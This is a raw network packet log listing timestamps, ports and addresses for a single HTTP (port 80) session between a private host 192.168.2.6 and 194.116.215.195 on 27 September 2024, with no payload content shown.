Sep 27, 2024 16:18:10.145725012 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.145750046 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.146241903 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146255016 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146269083 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146282911 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146296978 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146301985 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.146310091 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.146311998 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146333933 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146337032 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.146348953 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146363020 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146363974 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.146378040 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146392107 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146401882 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.146408081 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146423101 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146434069 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.146436930 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146452904 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.146455050 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.146482944 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.146502018 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.147104025 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147118092 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147130966 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147144079 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147152901 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.147161007 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147170067 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.147175074 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147190094 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147202015 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.147205114 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147219896 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147227049 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.147237062 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147250891 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147254944 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.147264957 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147278070 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147286892 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.147294044 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147308111 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147314072 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.147320986 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147321939 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.147339106 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.147363901 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.147363901 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.147392988 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.148070097 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148085117 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148097992 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148113012 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148122072 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.148127079 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148143053 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148150921 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.148156881 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148179054 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148184061 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.148194075 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148209095 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148209095 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.148225069 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148238897 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148243904 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.148252964 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148267031 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.148267031 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148282051 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.148282051 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148298025 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.148313046 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.148340940 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149085999 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149113894 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149137020 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149139881 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149166107 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149167061 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149174929 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149194002 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149215937 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149219990 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149223089 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149246931 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149266005 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149271965 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149275064 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149298906 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149310112 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149324894 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149343014 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149350882 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149369001 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149377108 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149393082 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149404049 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149425030 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149430990 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149435043 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149456024 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149475098 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149483919 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149499893 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149511099 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149528027 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149538994 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149554014 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149580002 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149895906 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149923086 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149947882 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.149966955 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149966955 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.149975061 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.150000095 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.150000095 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.150018930 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.150027037 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.150047064 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.150053024 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.150054932 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.150079012 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.150095940 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.150127888 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.230742931 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.230834007 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.230880976 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.230931044 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.230931997 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.230967999 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.230978012 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231000900 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231010914 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231034994 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231045961 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231067896 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231076956 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231101036 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231110096 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231141090 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231153011 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231187105 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231197119 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231220007 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231230974 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231261969 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231272936 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231304884 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231313944 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231343031 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231345892 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231393099 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231470108 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231503010 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231518984 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231534958 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231544971 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231568098 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231575966 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231601954 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231610060 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231636047 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231642962 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231678963 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231760025 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231787920 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231817007 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231818914 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231836081 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231864929 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231873035 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231904984 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231915951 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231940031 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231950045 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.231973886 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.231983900 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232012987 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232014894 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232059002 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232176065 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232208967 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232224941 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232240915 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232247114 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232274055 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232278109 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232306957 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232335091 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232340097 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232351065 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232373953 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232381105 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232408047 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232436895 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232453108 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232656002 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232687950 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232721090 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232721090 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232731104 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232754946 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232772112 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232791901 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232820988 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232824087 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232836008 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232856035 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232861042 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232888937 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232897043 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232923985 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.232933998 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.232971907 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233279943 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233313084 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233336926 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233344078 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233365059 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233378887 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233385086 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233412027 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233437061 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233444929 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233458042 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233477116 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233485937 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233510017 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233532906 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233541012 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233561993 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233572960 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233577013 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233607054 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233619928 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233637094 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233655930 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233669043 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233675003 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233701944 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233726978 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233733892 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233755112 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233767986 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233774900 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233800888 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.233825922 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.233836889 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234123945 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234157085 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234170914 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234205961 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234206915 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234239101 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234246969 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234272003 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234280109 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234304905 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234330893 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234337091 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234339952 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234369993 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234396935 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234400988 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234415054 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234436035 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234441996 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234468937 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234488964 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234502077 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234534025 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234534025 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234559059 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234565973 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234590054 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234599113 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234618902 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234632969 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.234639883 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.234695911 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235095024 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235126019 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235146046 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235157967 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235167980 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235192060 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235208035 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235224962 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235234976 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235256910 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235264063 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235290051 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235297918 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235322952 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235333920 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235356092 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235363960 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235403061 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235414982 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235460997 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235469103 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235501051 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235512972 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235533953 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235544920 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235565901 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235575914 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235599995 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235608101 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235632896 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235645056 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235666037 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.235672951 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.235709906 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236018896 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236051083 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236058950 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236085892 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236092091 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236121893 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236130953 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236155033 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236161947 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236191034 CEST	80	49605	194.116.215.195	192.168.2.6
Sep 27, 2024 16:18:10.236196041 CEST	49605	80	192.168.2.6	194.116.215.195
Sep 27, 2024 16:18:10.236223936 CEST	80	49605	194.116.215.195	192.168.2.6
